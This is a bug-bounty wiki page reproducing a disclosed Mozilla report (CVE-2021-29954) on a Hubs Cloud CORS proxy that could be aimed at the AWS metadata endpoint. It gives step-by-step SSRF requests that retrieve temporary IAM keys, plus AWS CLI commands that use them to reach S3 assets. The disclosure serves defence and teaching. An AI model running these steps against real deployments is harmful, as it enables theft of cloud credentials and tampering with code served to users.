Skip to content
SSRF Disclosed report Intermediate CVE-2021-29954

Mozilla Hubs Cloud: cloud api credentials exposure

A CORS proxy exposed on a Hubs Cloud installation allowed requests to the AWS instance metadata service, returning temporary IAM credentials. An attacker could use these credentials to access the server's AWS resources, including S3 buckets, and potentially modify JavaScript files served to users.

Torsten Trumm Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 25 hours
  • Paid in 13 days
  • Disclosed after 25 hours
Text
Mozilla Hubs exposes internal cloud endpoints which can be used to get credentials for cloud APIs. 

Tested with current version at 2021-04-27.


Steps to reproduce on AWS:

1. Find out the CORS proxy URL.
Open the start page of a Hubs Cloud installation on AWS.
Find out the assets URL by looking under the Network tab in the browser dev tools.
for example https://HUBS_NAME-assets.HUBS_INTERNAL_DOMAIN/files/...
With this information you can construct the CORS proxy URL.
for example https://HUBS_NAME-cors-proxy.HUBS_INTERNAL_DOMAIN/

2. Retrieve the cloud api credentials
Background: AWS offers a special local endpoint for retrieving instance information.
( see https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html )
Open https://HUBS_NAME-cors-proxy.HUBS_INTERNAL_DOMAIN/http://169.254.169.254/latest/meta-data/iam/security-credentials/
append a slash and the returned value to the URL and call again.
https://HUBS_NAME-cors-proxy.HUBS_INTERNAL_DOMAIN/http://169.254.169.254/latest/meta-data/iam/security-credentials/XXXXXXXX-app
This will return AccessKeyId, SecretAccessKey and Token.
With these anyone can connect to the AWS API and do everything that the server is allowed to do.

3. Perform actions using the servers credentials

For example using the AWS CLI.

Enter the retrieved credentials into .aws/credentials on a machine with AWS CLI installed.

Verify that you have access.
aws --profile testapi --region eu-west-1 sts get-caller-identity
{
    "Account": "XXXXXXXXXX",
    "UserId": "AROAXJVIRVTGPR3HV3X7B:i-XXXXXXXXX",
    "Arn": "arn:aws:sts::XXXXXXXXXX:assumed-role/XXXXXXXX-app/i-XXXXXXXXX"
}

Use the instance ID which the endpoint returned and retrieve the tags. 
aws --profile testapi ec2 describe-tags --filters "Name=resource-id,Values=i-XXXXXXXXX" --region eu-west-1

The S3 bucket name can be constructed using the information from the aws:cloudformation:stack-id tag

Now you can list all assets, retrieve/delete/modify any asset.
aws --profile testapi s3 ls XXXXX-assets-XXXXXX/assets/images/ --region eu-west-1
2021-03-30 11:55:41      11628 hubs-cloud-logo.png

You could also modify the JavaScript files under /hubs/assets/js/ and replace them with versions containing malicious code that will then be delivered to the Hubs users.

The original report as published on Mozilla's Bugzilla, by Torsten Trumm. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CORS proxy accepted arbitrary URLs, including the link-local metadata endpoint, without restricting access to internal addresses.

Impact

An attacker could use the server's AWS credentials to list, retrieve, delete, or modify assets, and could replace JavaScript files to deliver malicious code to Hubs users.

What the attacker needed

Hubs Cloud installation on AWS; ability to reach the CORS proxy URL

How it was found

  1. Find the assets URL from the browser's network tab and construct the CORS proxy URL.
  2. Request the AWS instance metadata credentials endpoint through the CORS proxy.
  3. Append the returned role name to the URL and request again to obtain access keys.
  4. Use the credentials with the AWS CLI to verify access and list S3 bucket contents.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The Hubs Cloud software had a feature that fetched web pages for you (a CORS proxy). An attacker could trick this feature into fetching a special internal address that only the cloud server itself can see. That address handed back secret login keys for the cloud account, letting the attacker read and change files stored in the cloud.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.